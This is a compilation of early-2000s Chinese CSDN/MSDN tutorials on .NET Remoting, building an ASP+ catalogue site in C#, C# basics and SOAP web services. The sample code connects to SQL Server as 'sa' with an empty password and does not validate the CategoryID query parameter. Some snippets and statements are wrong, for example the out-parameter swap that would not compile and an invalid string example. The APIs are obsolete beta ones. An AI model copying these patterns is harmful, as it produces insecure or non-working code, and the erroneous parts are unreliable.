“配置文件”（.CFG 文件）用于指定特定对象的各种 Remoting 特有信息。通常情况下，每个 AppDomain 有自己的 CFG 文件。使用 CFG 文件有助于实现位置的透明性。CFG 文件中的详细信息也可以通过编程来指定。使用 CFG 文件的主要好处在于，它将与客户端代码无关的配置信息分离出来，这样，在日后更改时仅需要修改 CFG 文件，而不用编辑和重新编译源代码。.NET Remoting 的客户端和服务器对象都使用配置文件。

典型的 CFG 文件包含以下信息及其他信息：

集成应用程序信息

对象名称

对象的 URI

注册的通道（可以同时注册多个通道）

服务器对象的租用时间信息
示例配置文件（请注意，在后续版本中可能会采用 XML 格式）：

Name#MyRemoteApp
myRemoteObj = HTTP://myCompany:80/MyRemoteApp/myRemoteObj.soap
Channel#System.Runtime.Remoting#System.Runtime.Remoting.Channels.TCP.TCPChannel
Channel#System.Runtime.Remoting#System.Runtime.Remoting.Channels.HTTP.HTTPChannel
.NET Remoting 方案
了解 .NET Remoting 如何工作之后，让我们来考察不同的方案，分析如何在不同的方案中充分发挥 .NET Remoting 的性能。下表列出了可能的客户端/服务器组合，以及默认情况下采用的底层协议和有效负载。请注意，.NET Remoting 框架是可扩展的，您可以编写自己的通信通道和序列化格式化程序。

客户端 服务器 有效负载 协议
.NET 组件 .NET 组件 SOAP/XML http
.NET 组件 .NET 组件 二进制 TCP
托管/非托管 .NET Web 服务 SOAP/XML http
.NET 组件 非托管的传统 COM 组件 NDR（网络数据表示形式） DCOM
非托管的传统 COM 组件 .NET 组件 NDR DCOM

任何客户端 <-> .NET，使用 HTTP-SOAP
Web 服务是可以通过 URL 寻址的资源，并通过编程向需要使用这些资源的客户端返回信息。客户端使用 Web 服务时不必考虑其实现细节。Web 服务使用称为“合约”的严格定义的接口，此接口采用 Web 服务描述语言 (WSDL) 文件定义。有关 WSDL 的详细信息，请参阅 Web 服务描述语言 (WSDL) 1.0（英文）。

可以将 .NET Remoting 对象集成在 IIS 中，使它们作为 Web 服务使用。任何可以使用 WSDL 文件的客户端，都可以按照 WSDL 文件中指定的约定对远程对象执行 SOAP 调用。IIS 使用 ISAPI 扩展将这些请求路由到相应的对象。这样，远程对象就可以作为 Web 服务对象来使用，从而充分发挥 .NET 框架基础结构的作用。如果您希望不同平台/环境的程序均能够访问对象，则可以采用这种配置。有关 Web 服务的详细信息，请参阅可编程 Web：Web 服务为 Microsoft .NET 框架提供构造块（英文）。这种配置方法便于客户端通过防火墙访问您的 .NET 对象。

图 1：通过 HTTP-SOAP 调用 Remoting 对象的 Web 服务的客户端示例

.NET <-> .NET，使用 SOAP-HTTP 通道
默认情况下 HTTP 通道使用 SOAP 格式化程序，因此，如果客户端需要通过 Internet 访问对象，则可以使用 HTTP 通道。由于这种方法使用 HTTP，所以允许客户端通过防火墙远程访问 .NET 对象。只需按前一节中介绍的方法将这些对象集成在 IIS 中，即可将其配置为 Web 服务对象。随后，客户端就可以读取这些对象的 WSDL 文件，以便使用 SOAP 与 Remoting 对象通信。

.NET <-> .NET，使用 TCP 通道
默认情况下，TCP 通道使用二进制格式化程序。此格式化程序以二进制格式进行数据的序列化，并使用原始套接字在网络中传送数据。如果对象部署在受防火墙保护的封闭环境中，则此方法是理想的选择。该方法使用套接字在对象之间传递二进制数据，因此性能更好。由于它使用 TCP 通道来提供对象，因此具有在封闭环境中开销较小的优点。由于防火墙和配置问题，此方法不能在 Internet 上使用。

图 2：通过 TCP 通道在多个机器之间调用 Remoting 对象的客户端示例

.NET <-> 非托管的 COM 组件 <-> .NET
您可以通过 COM Interop Service 调用非托管的传统 COM 组件。当 .NET Remoting 客户端对象创建 COM 对象的实例时，对象通过运行时可调用包装程序 (RCW) 来提供，而 RCW 则作为真实非托管对象的代理。这些包装程序看起来和 .NET 客户端的任何其他托管类一样，但实际上，它们仅仅是托管 (.NET) 和非托管 (COM) 代码之间的封送调用。

类似地，您可以将 .NET Remoting 服务器对象提供给传统 COM 客户端。当 COM 客户端创建 .NET 对象的实例时，对象通过 COM 可调用包装程序 (CCW) 来提供，而 RCW 则作为真实非托管对象的代理。

这两种方案都使用 DCOM 通信。如果环境中既有传统的 COM，又有 .NET 组件，那么这种互操作性将为您提供便利。有关此主题的详细信息，请参阅 COM 互操作性规范（英文）。

总结
Microsoft .NET 框架提供了强大、可扩展、不依赖于语言的框架，用于开发可靠、可伸缩的分布式系统。.NET Romoting 框架提供了根据系统需求进行远程交互的强大手段。.NET Remoting 实现了与 Web 服务的无缝集成，并有一些方法可以提供 .NET 对象以进行多平台访问的方法。

其他资料
有关 .NET Remoting 的详细信息，请参阅：

Remoting 规范（英文）

Microsoft .NET Remoting：技术概述（英文）
有关 Microsoft .NET 的最新消息，请浏览我们的 Web 站点 http://msdn.microsoft.com/net/（英文）。


csdn_用C＃创建Web应用程序

  用C＃创建Web应用程序
作者： bluestar
使用微软正在推行的．NET技术和C＃语言可以快速建立Web应用程序，其安全性和可升级性都大大胜过普通的ASP应用程序。在这篇文章里，我们将使用．NET和C＃一步一步的建立一个应用程序。

    系统需求：

    Internet Explorer 5.5

    Windows 2000 Professional, Server 或 Advanced Server

    ASP＋/Microsoft ．NET (预览版可以在 http://msdn.microsoft.com/net 下载)

    SQL Server 7.0 + SP1 或更高版本

    使用微软 ．NET的高级对象模型(Advanced Object Model)可以快速建立安全的，易于升级性的Web应用程序。

    微软的 ．NET是一个开发商业解决方案的理想技术。．NET技术结合C＃的弹性和高性能，开发商业程序比以往仅仅使用ASP的方法更为简单。

    在这篇文章里，我们将使用 ．NET和C＃来建立一个简单的商业应用程序--一个能够让客户浏览你的产品目录的程序。

    这个程序包含了最基本的．NET和C＃技术，在本文中，将涉及到如何建立和编译C＃的商业应用层组件。也将谈到怎样使用ASPX页面存取组件和绑定数据。综合使用这些技术，可以花费比传统的ASP方法更少的时间建立Web应用程序。

    稳固的．NET应用程序仍然依靠于稳固的数据库计划和精心编写的存储过程。

    应用程序可以通过组件调用已经写好的存储过程。大部分多层方法都不推荐直接从程序中调用数据，那样会降低程序的速度，也不利于调试。

    本文主要讨论C＃和ASP＋，不过多的讨论建立数据库和存储过程。

组件的开发
    我们将要编写的c＃组件同时作为逻辑层和数据存取层。

    如果打算将来把程序移植到另一种数据库中，比如Oracle，那么需要把逻辑层和数据存取层分别放在两个组件中。本文中只使用SQL Server，所以不需要分开它们。

    这个应用程序需要两个页面：Default.aspx 和 ProductList.aspx。 Default.aspx 是用户访问Web首先看见的页面，它列出所有的产品种类。用户从Default.aspx菜单中选择种类后，将进入ProductList.aspx页面，这个页面显示了当前类所有产品的列表。

    在用户使用这两个页面的过程中，发生了两个动作：第一个是在菜单中列出产品种类（Default.aspx），第二个是在产品列表的页面中列出产品（ProductList.aspx）。我们可以建立两个函数来完成这两个任务,这两个函数都通过调用存储过程获取数据。对应这两个函数，我们在一个叫做CommerceDotNet的名字空间中建立起两个类：Category 和 Product。（图1）使用CommerceDotNet.Categories实例化Categories类，使用CommerceDotNet.Products实例化Products类。为了使代码清晰，我们在不同的文件中分别声明这两个类。由于他们共享一个名字空间，即使在不同的文件声明，在编译后也将成为一个单独的组件。

    CategoryList方法传递了一个包含所有产品种类的数据集给系统。在Categories类中加入CategoryList的方法。

    代码如下：

    namespace CommerceDotNet {

     public class Categories {

        public DataSet CategoryList() {

        }

     }

    }

    建立了这个类以后，开始为CategoryList方法添加代码。

    CategoryList方法获取数据的过程分为四步：1.通过SQLConnection和SQLDataSetCommand对象建立数据连接和命令对象。2.把命令对象类型设置为存储过程。3.把存储过程ListCategory的结果送入数据集。4.把包含结果的数据集返回给调用它的函数。

    完整的CategoryList方法代码如下：

    public DataSet CategoryList() {

        // 建立数据连接和命令对象

        SQLConnection myConnection = new SQLConnection

        ("server=localhost;uid=sa;pwd=;database=commercedotnet");

        SQLDataSetCommand myCommand = new SQLDataSetCommand("ListCategory", myConnection);

        // 设置命令对象类型为存储过程

        myCommand.SelectCommand.CommandType = CommandType.StoredProcedure;

        // 建立和填充数据集

        DataSet myDataSet = new DataSet();

        myCommand.FillDataSet(myDataSet, "CategoryList");

        // 返回数据集

        return myDataSet;

     }

    ProductsList方法和CategoryList方法类似，但是ProductsList向存储过程传递了一个参数。

    代码如下：

    public DataSet ProductsList(int categoryID) {

        // 建立数据连接和命令对象

        SQLConnection myConnection = new SQLConnection

        ("server=localhost;uid=sa;pwd=;database=commercedotnet");

        SQLDataSetCommand myCommand = new SQLDataSetCommand("ListProducts", myConnection);

        // 设置命令对象类型为存储过程

        myCommand.SelectCommand.CommandType = CommandType.StoredProcedure;

        // 向存储过程传递参数

        SQLParameter parameterCategoryID = new SQLParameter("@CategoryID", SQLDataType.Int, 4);

        parameterCategoryID.Value = categoryID;

        myCommand.SelectCommand.Parameters.Add(parameterCategoryID);

        // 建立和填充数据集

        DataSet myDataSet = new DataSet();

        myCommand.FillDataSet(myDataSet, "Products");

        // 返回数据集

        return myDataSet;

     }

    两个类都建立好以后，编译程序。

    使用命令：csc /out:../bin/CommerceDotNet.dll /t:library /r:System.Data.dll CategoryDB.cs ProductDB.cs

    "/out:"开关指定编译库名和存放位置，"/t:"开关告诉编译器建立库，"/r:"开关指出组件涉及到的其他库，完整的源程序在文末后面列出。

ASP＋页面的开发
    建立好组件以后，下面的工作是开发作为用户界面ASP＋页面。前面的部分，我们设计了default.aspx 和 productslist.aspx 页，Default.aspx页是站点被装入后的第一页，我们就从建立这个缺省页面开始。

    当页面读入时，触发Page_Load()方法，这个方法完成了从数据库获取的数据并绑定到MyList的任务。首先，声明一个ICollection型变量menuItems。然后，实例化组件，调用CategoryList方法，把数据集存放在menuItems对象中。设置MyList的数据源为menuItems。执行MyList.DataBind方法把数据绑定到MyList。

    这部分代码如下：

    <script language="C＃" runat="server">

     void Page_Load(Object sender, EventArgs e) {

     ICollection menuItems;

        CommerceDotNet.Categories categories = new CommerceDotNet.Categories();

menuItems = categories.CategoryList().Tables[0].DefaultView;

        MyList.DataSource = menuItems;

        MyList.DataBind();

     }

    </script>

    default.aspx中其他代码与传统的ASP页面类似，请参见文末列出的代码。

    ProductList.aspx与default.aspx类似，但是，绑定数据的代码有些变化，因为，在开发C＃组件的时候，我们在CommerceDotNet.ProductsList方法中向存储过程中传递了参数，所以，ASP＋页面中也需要有相应的变化。

    CommerceDotNet.Products products = new CommerceDotNet.Products();

    MyProductList.DataSource = products.ProductsList(categoryId).Tables[0].DefaultView;

    MyProductList.DataBind();

    至此，两个ASP＋页面也创建完毕。

    这样，结合C＃和ASP＋的最基础的应用程序就创建好了。

    这个程序展示了微软．NET和C＃技术的强大威力，在这个基础上，再作进一步的增添和修改，很容易开发出强大的站点。

附原码：

附：
----------------------CategoryDB.cs---------------------------
using System;
using System.Data;
using System.Data.SQL;

namespace CommerceDotNet {

public class Categories {

public DataSet CategoryList() {

// Create Instance of Connection and Command Object
SQLConnection myConnection = new SQLConnection("server=localhost;uid=sa;pwd=;database=commercedotnet");
SQLDataSetCommand myCommand = new SQLDataSetCommand("ListCategory", myConnection);

// Mark the Command as a SPROC
myCommand.SelectCommand.CommandType = CommandType.StoredProcedure;

// Create and Fill the DataSet
DataSet myDataSet = new DataSet();
myCommand.FillDataSet(myDataSet, "CategoryList");

// Return the DataSet
return myDataSet;
}
}
}

----------------------ProductDB.cs----------------------------

using System;
using System.Data;
using System.Data.SQL;

namespace CommerceDotNet {

public class Products {

public DataSet ProductsList(int categoryID) {

// Create Instance of Connection and Command Object
SQLConnection myConnection = new SQLConnection("server=localhost;uid=sa;pwd=;database=commercedotnet");
SQLDataSetCommand myCommand = new SQLDataSetCommand("ListProducts", myConnection);

// Mark the Command as a SPROC
myCommand.SelectCommand.CommandType = CommandType.StoredProcedure;

// Add Parameters to SPROC
SQLParameter parameterCategoryID = new SQLParameter("@CategoryID", SQLDataType.Int, 4);
parameterCategoryID.Value = categoryID;
myCommand.SelectCommand.Parameters.Add(parameterCategoryID);

// Create and Fill the DataSet
DataSet myDataSet = new DataSet();
myCommand.FillDataSet(myDataSet, "Products");

// Return the DataSet
return myDataSet;
}
}
}

----------------------default.aspx----------------------------

<% @Page Language="C#" %>

<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
<TITLE></TITLE>

<!-- Insert Style Sheet Here -->
<LINK rel="stylesheet" type="text/css" href="Main.css">
<!-- End Style Sheet -->

<script language="C#" runat="server">

void Page_Load(Object sender, EventArgs e) {

ICollection menuItems;

CommerceDotNet.Categories categories = new CommerceDotNet.Categories();
menuItems = categories.CategoryList().Tables[0].DefaultView;

// Associate the list of menu items into the list and bind to the list
MyList.DataSource = menuItems;
MyList.DataBind();
}

</script>

</HEAD>
<BODY topmargin=5 leftmargin=5>

<TABLE WIDTH=600 BORDER=0 CELLSPACING=0 CELLPADDING=0>
<TR>
<TD colspan=2 align="right" valign=top>
<IMG SRC="images/ecommerce.GIF" align=left>
</td>
</tr>
<tr>
<td valign=top>
<!-- Menu Cell -->

<asp:DataList id="MyList" runat="server" cellpadding="3" cellspacing="0" width="145" SelectedItemStyle-BackColor="dimgray" SelectedItemStyle-CssClass="dimgray" maintainstate="false">

<template name="ItemTemplate">
<asp:HyperLink class="MenuText" id=HyperLink1 Text='<%# DataBinder.Eval(Container.DataItem, "Name") %>' NavigateUrl='<%# "productlist.aspx?CategoryID=" + DataBinder.Eval(Container.DataItem, "CategoryID") %>' runat="server" />
</template>

<template name="SelectedItemTemplate">
<asp:HyperLink class="MenuText" id=HyperLink2 Text='<%# DataBinder.Eval(Container.DataItem, "Name") %>' NavigateUrl='<%# "productlist.aspx?CategoryID=" + DataBinder.Eval(Container.DataItem, "CategoryID") %>' runat="server" />
</template>

</asp:DataList>

<!-- End Menu Cell -->
</TD>
<td width=450 valign=top>
<table width=100% border=0 cellspacing=0 cellpadding=0>
<tr>
<td>
<div class="pageheadertext">Welcome!</div>
<br>
This is a sample eCommerce site that was developed using the Microsoft .NET platform and C#. This is only a sample site used for education purposes only.

</td>
</tr>
</table>
</td>
</TR>
</TABLE>

</BODY>
</HTML>

----------------------ProductList.aspx----------------------------
<% @Page Language="C#" %>

<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
<TITLE></TITLE>

<!-- Insert Style Sheet Here -->
<LINK rel="stylesheet" type="text/css" href="Main.css">
<!-- End Style Sheet -->

<script language="C#" runat="server">

void Page_Load(Object sender, EventArgs e) {

ICollection menuItems;

CommerceDotNet.Categories categories = new CommerceDotNet.Categories();
menuItems = categories.CategoryList().Tables[0].DefaultView;

// Associate the list of menu items into the list and bind to the list
MyList.DataSource = menuItems;
MyList.DataBind();

// Obtain categoryId from QueryString
int categoryId = Int32.Parse(Request.Params["CategoryID"]);

// Obtain products and databind to an asp:datalist control
CommerceDotNet.Products products = new CommerceDotNet.Products();
MyProductList.DataSource = products.ProductsList(categoryId).Tables[0].DefaultView;
MyProductList.DataBind();
}

</script>

</HEAD>
<BODY topmargin=5 leftmargin=5>

<TABLE WIDTH=600 BORDER=0 CELLSPACING=0 CELLPADDING=0>
<TR>
<TD colspan=2 align="right" valign=top>
<IMG SRC="images/ecommerce.GIF" align=left>
</td>
</tr>
<tr>
<td valign=top>
<!-- Menu Cell -->

<asp:DataList id="MyList" runat="server" cellpadding="3" cellspacing="0" width="145" SelectedItemStyle-BackColor="dimgray" SelectedItemStyle-CssClass="dimgray" maintainstate="false">

<template name="ItemTemplate">
<asp:HyperLink class="MenuText" id=HyperLink1 Text='<%# DataBinder.Eval(Container.DataItem, "Name") %>' NavigateUrl='<%# "productlist.aspx?CategoryID=" + DataBinder.Eval(Container.DataItem, "CategoryID") %>' runat="server" />
</template>

<template name="SelectedItemTemplate">
<asp:HyperLink class="MenuText" id=HyperLink2 Text='<%# DataBinder.Eval(Container.DataItem, "Name") %>' NavigateUrl='<%# "productlist.aspx?CategoryID=" + DataBinder.Eval(Container.DataItem, "CategoryID") %>' runat="server" />
</template>

</asp:DataList>

<!-- End Menu Cell -->
</TD>
<td width=450 valign=top>
<table width=100% border=0 cellspacing=0 cellpadding=0>
<tr>
<td>

<asp:DataList id="MyProductList" CellPadding="4" CellSpacing="4" RepeatDirection="Vertical" RepeatColumns="1" runat="server" AlternatingItemStyle-BackColor="#FFFCCC">

<template name="ItemTemplate">

<div class="ProductTitleText"><%# DataBinder.Eval(Container.DataItem, "Title") %></div>
<div class="ProductDescriptionText"><%# DataBinder.Eval(Container.DataItem, "Description") %></div>
<div class="ProductCostText">Cost: <%# DataBinder.Eval(Container.DataItem, "Cost", "{0:c}") %></div>
<asp:HyperLink Text='Add To Cart' NavigateUrl='<%# "cart.aspx?ProductID=" + DataBinder.Eval(Container.DataItem, "ProductID") %>' runat="server" />
<br><br>

</template>

<template name="AlternatingItemTemplate">

<div class="ProductTitleText"><%# DataBinder.Eval(Container.DataItem, "Title") %></div>
<div class="ProductDescriptionText"><%# DataBinder.Eval(Container.DataItem, "Description") %></div>
<div class="ProductCostText">Cost: <%# DataBinder.Eval(Container.DataItem, "Cost", "{0:c}") %></div>
<asp:HyperLink Text='Add To Cart' NavigateUrl='<%# "cart.aspx?ProductID=" + DataBinder.Eval(Container.DataItem, "ProductID") %>' runat="server" />
<br><br>

</template>

</asp:DataList>

</td>
</tr>
</table>
</td>
</TR>
</TABLE>

</BODY>
</HTML>
----------------------------------------------------------------------
(完)


csdn_C＃简明教程(一)

  C＃简明教程(一)
作者： efoxxx
C＃简明教程(一)

声明：我在翻译的时候，加了一些自己的看法以及其它的一些比较，希望能让大家看的更明白，理解更透彻。

有什么建议请mail：efoxxx@263.net

C#简介

这一部分我们说明一下C#,并讲一下如何写、在命令行编译你自己的第一个C#程序。

◆什么是C#

C#是微软新推出的一种编程语言。因为它是从C和C#衍生来的，所以它的功能强大。它像VB一样简单。另外，对于网络编程来说它很像Java，它还又很多Delphi的有点。微软声称，C#是编写.NET Framework 应用程序最合适的语言。

◆安装 .NET SDK

要在你的机器上运行C#，第一步必须安装.NET SDK 。 你可以在Windows ME, Windows NT, 或者 Windows 2000下安装.NET SDK。 推荐你使用Windows 2000 。 选好操作系统后，请按照下面的步骤安装：

安装 IE 5.5
安装 Microsoft .NET Framework SDK. 它是完全免费的，你可以在如下链接下载它： NET Framework SDK.
安装完成后，你就可以随便找一个文本编辑器写你的代码了并将它保存为以.cs为扩展名的文件。在notepad中敲入下边的代码，并保存为my.cs。
◆C# 编译器和编辑器

微软发布的新的平台.NET SDK Beta 1 release ，捆绑了C#命令行编译器。你必须安装了 .NET SDK 才能运行 C# 程序。安装了.NET SDK, 你就可以在任何文本编辑器中写你的 C# 程序代码了。 在市面上可以得到一些的三方的编辑器. 其中一些还是免费得。

◆写你的第一个C# 程序

就像写你的第一个C++程序一样，开始写你的第一个C#程序。 打开文本编辑器，并敲入下边的代码：

using System;
class MyClass
{
static void Main() {
Console.WriteLine("Hello World!");
}
}

◆编译你的第一个C# 程序

现在，用你的C#命令行编译器编译你的.cs文件。C#编译器 至少要有一个参数，即C#文件名。假定你的C#文件名是myclass.cs ，那么命令行的句法如下：

csc myclass.cs

C#命令行编译器在你的工程的bin目录（二进制文件目录，一般来说用来放可执行文件，它在Linux下常用）。执行这个exe文件，看看结果。

现在。我们来一行一行地看看源代码。

第一行是：

using System.

为什么要using System? System 是一个名字空间（namespace），它存储了系统类。 我们在程序中用于在控制台上显示程序运行结果的控制台类（The Console class）, 就是定义在这个系统名字空间（System namespace）中。所以我们要这样写。

下一行是class MyClass. 关键字 class 在 C# 中用于生产新的类。

class MyClass
{
....
}

每一个类都又一个static void Main() 函数。 它是C#程序执行时的入口（这跟Java是一样的，当然C、C++也有main函数与之对应）

static void Main() {
Console.WriteLine("Hello, C# World!");
}

控制台类的方法 WriteLine 的作用是在控制台上写出文本。


csdn_C＃简明教程（二）

  C＃简明教程（二）
作者： efoxxx
声明：我在翻译的时候，加了一些自己的看法以及其它的一些比较，希望能让大家看的更明白，理解更透彻。
我的第一个C#程序

下边是“我的第一个C#程序”源代码，你可以再任何编辑器中敲入这段代码，不如说NotePad, WordPad, 等等（当然，据我（efoxxx）所知，最好是用VC的编辑器，因为它可以让你很容易分辩出哪些是保留字，减少输入错误）。键入完成后，将它保存为以 .cs 为扩展名的文本文件（我先假设将它存为： myfirstcs.cs）。

现在，你可以在命令行(DOS下)执行命令：

csc myfirstcs

(我还得说一句，路径！你把myfirstcs放到哪个目录下，你就要先到哪个目录下，再执行此命令。此命令会编译生成myfirstcs.exe 文件)。

执行myfirstcs.exe――

这个程序在控制台上输出：

Hello,C# World!

源程序：

// using system

using System;

class Hello

{

static void Main() { // display output on console

Console.WriteLine("Hello,C# World!");

}

}

efoxxx补充：

大家不妨在这里和Java的Hello程序比较一下，我在这里附上源程序：

class HelloWorldApp
{
public static void main(String[] args)
{
System.out.println("Hello World!"); //Display the string.
}
}


csdn_C＃简明教程（三）

  C＃简明教程（三）
作者： efoxxx
C#中的out和ref参数

out和ref参数是用于让传递到方法的参数中带回返回值。

在你需要让方法返回多于一个返回值的情况下，这俩个参数很有用。

◆out参数

out参数可以用于让同一个变量参数既传参又带回返回值。(有点像C中的指针哟)

public class mathClass
{
public static int TestOut(out int iVal1, out int iVal2)
{
iVal1 = 10;
iVal2 = 20;
return 0;
}

public static void Main()
{
int i, j; //变量i，j不需要初始化
Console.WriteLine(TestOut(out i, out j));
Console.WriteLine(i);
Console.WriteLine(j);
}
}

efoxxx补充：

这里我想补充一个谭浩强老师的一个经典的C程序例子：swap

public class swapClass
{
public static int SwapOut(out int iVal1, out int iVal2)
{
int temp;

temp = iVal1;
iVal1 = iVal2;
iVal2 = temp;

return 0;
}

public static void Main()
{
int i, j; // 变量i，j不需要初始化
SwapOut(out i, out j);
Console.WriteLine(i);
Console.WriteLine(j);
}
}

◆ref参数（引用）
与Java和C++的概念是一样的。

你也可以用ref来得到多于一个的返回参数。

namespace TestRefP

{

using System;

public class myClass

{

public static void RefTest(ref int iVal1 )

{

iVal1 += 2;

}

public static void Main()

{

int i; // variable need not be initialized

i = 3;

RefTest(ref i );

Console.WriteLine(i);

}

}

}


csdn_C＃简明教程（四）

  C＃简明教程（四）
作者： efoxxx
高效C#――字符串编程

◆空字符串

检测一个字符串是否为空是一个基本的编程要求。

检测一个字符串是否为空的最有效的方法不是用null，也不是用它与“”字符串相比较，而是用字符串类的Length属性。

string str1 = AMethodReturnsString()
{
// Do something and return a string
}

if (str1.Length >0 )
{
// do something
}

◆字符串连接

你一旦修改了一个字符串，结果是它将返回一个新的字符串。编程时生成太多的字符串对象势必会降低你的程序的运行效率。不过，你可以避免生成一个新的字符串实例――使用StringBuilder类。

假定你需要连接俩个字符串。 下边是传统的方法――

string str1 = "I like ";
string str2 = "Soccer";
string strConcat = string.Concat(str1, str2);
结果为： strConcat = "I like Soccer".

你可以用StringBuilder类和它的Append方法来完成同样的工作：

StringBuilder MyStrBuilder = new StringBuilder ("I like ");
String newStr = "Soccer";
MyStrBuilder.Append(newStr);
结果 MyStrBuilder 为 "I like Soccer".

◆字符串比较

用String.Equals方法来比较俩个字符串是否相等：

string str1 = AMethodReturnsString()

if (str1.Equals("TestSting") )
{
// do something
}


csdn_C＃简明教程（五）－数据类型

  C＃简明教程（五）－数据类型
作者： efoxxx
C＃的数据类型

程序员拿见一门编程语言后，第一件事情就是看它有哪些数据类型，怎么使用它们。在这一部分，我将介绍C#的数据类型，以及在程序中怎样使用它们。

◆基本数据类型

C#中多数的数据类型是从C 和 C++语言中来的。 请看下表：

数据类型
描述
举例

object
所有其它类型的基类
object obj = null;

string
字符串类型－一系列的Unicode 字符
string str = "Mahesh";

sbyte
8-bit 有符号整型
sbyte val = 12;

short
16-bit有符号整型
short val = 12;

int
32-bit有符号整型
int val = 12;

long
64-bit有符号整型
long val1 = 12;
long val2 = 34L;

bool
布尔型; 可取 true 或者 false俩个值
bool val1 = true;
bool val2 = false;

char
字符型; Unicode字符
char val = 'h';

byte
8-bit无符号整型
byte val1 = 12;
byte val2 = 34U;

ushort
16-bit 无符号整型
ushort val1 = 12;
ushort val2 = 34U;

uint
32-bit 无符号整型
uint val1 = 12;
uint val2 = 34U;

ulong
64-bit 无符号整型
ulong val1 = 12;
ulong val2 = 34U;
ulong val3 = 56L;
ulong val4 = 78UL;

float
单精度浮点数型
float val = 1.23F;

double
双精度浮点数型
double val1 = 1.23;
double val2 = 4.56D;

decimal
高精度型128位数据类型（用于货币等）
decimal val = 1.23M;

◆C#中的类型

C# 支持两种类型: 数值类型和参考类型

类型
描述

数值类型
包括简单的数据类型，不如说 int, char, bool, enums

参考类型
包括对象，类，接口，代理和数组类型

数值类型- 数值类型对象变量中直接包含了真实的数据。对数值类型，每个变量都有它们自己的数据的拷贝，并且不可能通过操作一个变量而去影响另外一个变量。例如：

int i = 10;

参考类型-参考类型变量存储了真实数据的引用。对参考类型来说，让两个变量指向同一个对象是可能实现的，因此，可以通过操作一个变量而去影响另外一个变量。例如：

MyClass cls1 = new MyClass();

◆数据类型转换

C# 支持两种类型的转换，隐式转换和显式转换。

⑴隐式转换是直接转换 。例如：

int iVal = 34;
long lVal = intValue;

⑵显式转换包含有强制类型转换。 例如：

long lVal = 123456;
int iVal = (int) lVal;


csdn_Microsoft .NET 框架和 Visual Studio.NET 中的 SOAP

  Microsoft .NET 框架和 Visual Studio.NET 中的 SOAP
作者： msdn
简介
Microsoft® .NET 框架和 Microsoft® Visual Studio.NET 利用 XML 和 SOAP 技术，使开发人员能够创建广泛的解决方案。SOAP 是一个简单、轻便、并在业界获得广泛支持的协议，适用于各种各样的应用，它与 .NET 框架的结合简单而合乎自然。

从底层开始，SOAP 的设计目标就是使之成为一种非常简单的协议，能够以各种不同的方式满足各种不同的需求。除了 Microsoft，已有许多公司实际应用 SOAP，例如 IBM、Develop Mentor 和 Userland。

在使用 SOAP 的体系中，有若干种关键技术。在创建基于 SOAP 的解决方案时，每种技术都会解决开发人员的一些共同问题。这些技术分别属于 .NET Remoting、ASP.NET Web Services 和 ATL Web Services，它们具有许多共同的技术特点：

用于消息生成和使用的 XML。

符合 SOAP 1.1 规范，包括第 5 节 SOAP 编码，这使 SOAP 应用之间具有很好的互操作性。

XML 保真性（非第 5 节 SOAP 编码），用于完全断开的模型。

WSDL（XML 方案的一种形式），用于提供说明。

可用无状态编程模型扩展系统。

使用 Visual Studio.NET 的良好开发环境。
ASP.NET Web Services 和 .NET Remoting 还共享下列技术：

XCOPY 系统部署。

System.Net，进行网络通讯时，无论在服务器还是客户端它都运行良好。

公共语言运行时可在受控代码和线程缓冲池中重用。

提供强大的 SOAP 支持，例如 SOAP 头和单向消息等特性。

能够与 C#、Visual Basic.NET 或任何符合 CLS 规范的语言（如 Cobol、Python、 ComponentPascal 等等）配合使用来编写应用程序。
除了以上列出的共同特点和技术以外，ASP.NET Web Services、.NET Remoting 和 ATL Web Services 还分别为开发人员提供了许多特有的功能，下面这些内容有助于开发人员在生成应用程序时把握正确的方向。

如果您要生成 .ASP 应用程序，ASP.NET Web Services：
允许与 ASP.NET HTTP 运行时紧密集成。

鼓励开发人员着重于运用 XSD 数据类型来提供应用程序。

在 Visual Studio.NET 中提供强大的设计支持。
如果您要生成 MTS/COM+ 应用程序，.NET Remoting：
提供全面的受控代码类型系统的网络保真性。

提供在网络上通过引用来传递对象的功能，并且可返回到特定进程中的特定对象。

提供二进制通讯能力。
如果您要生成 ATL/C++ 应用程序，ATL Server：
提供灵活并且可控的本机 (C++) 解决方案。

建立于 ATL Server ISAPI Web 应用体系机构之上（利用线程缓冲池、缓存，等等）。
将 SOAP 用作 Web 开发工具
ASP.NET Web Services 提供了 RAD 方式，以供快速创建和使用 Web 服务。这些服务宽松地组合在一起，并可与 ASP.NET 高度集成。ASP.NET Web Services 是 Web 开发人员在 Internet 上提供 Web 服务的首选方法，它的目标是提供快速、简便、性能优越的 SOAP 服务。

ASP.NET Web Services 可以和 ASP.NET HTTP 引擎深入集成，这使得熟悉 Microsoft Web 开发技术的开发人员能够方便地生成和使用基于 SOAP 的 Web 服务。

ASP.NET 以 .asmx 文件提供对 Web Services 的支持。.asmx 文件是与 .aspx 文件相似的文本文件。这些文件可以是包含 .aspx 文件的 ASP.NET 应用程序的一部分。它们可以使用 URI 寻址方式，这和 .aspx 文件相同。

以下是一个非常简单的 .asmx 文件示例：

<%@ WebService Language="C#" Class="HelloWorld" %>

using System;
using System.Web.Services;

public class HelloWorld : WebService {

[WebMethod] public String SayHelloWorld() {
return "Hello World";
}

}

这个文件以 ASP.NET 指示的 Web Service 开始，并将语言设置为 C#（也可以将语言设置为 Microsoft Visual Basic®、C 或大约 30 种第三方语言中的任何一种）。然后，它将导入名称空间 System.Web.Services。这个名称空间是必要的，您必须在文件中包括它。下一步，声明 HelloWorld 类。这个类从基类 WebService 导出。最后，任何要作为服务的一部分来访问的方法在它们的签名之前将具有自定义属性 [WebMethod]，在 Visual Basic 中则为“<WebMethod()>”。

要使这个服务生效，可以将文件命名为 HelloWorld.asmx，然后将它放在虚拟目录 Bar 中的服务器 Foo 上。使用几乎任何兼容 HTML 3.2 或更高版本的浏览器，都可以输入 URL http://Foo/Bar/HelloWorld.asmx 来显示这个 Web Service 的公用方法（标有 WebMethod 属性），以及那些可用来调用这些方法的协议，例如 SOAP 或 HTTP GET。如果在 Internet Explorer 地址栏中输入 http://Foo/Bar/HelloWorld.asmx?SDL，基于服务说明语言 (WSDL) 语法，将产生与 XML 文件相同的信息。这个 WSDL 文件由访问服务的客户使用，并且非常重要。

访问 Web Serivces
除了使开发人员能够创建 Web Services 的技术之外，Microsoft .NET 框架还提供了一套用来“使用”（即以客户端身份访问）Web Services 的成熟工具与代码。因为 Web Services 基于简单对象访问协议 (SOAP) 和 HTTP 等开放协议，所以这种客户端技术也可以用于使用非 ASP.NET Web Services。

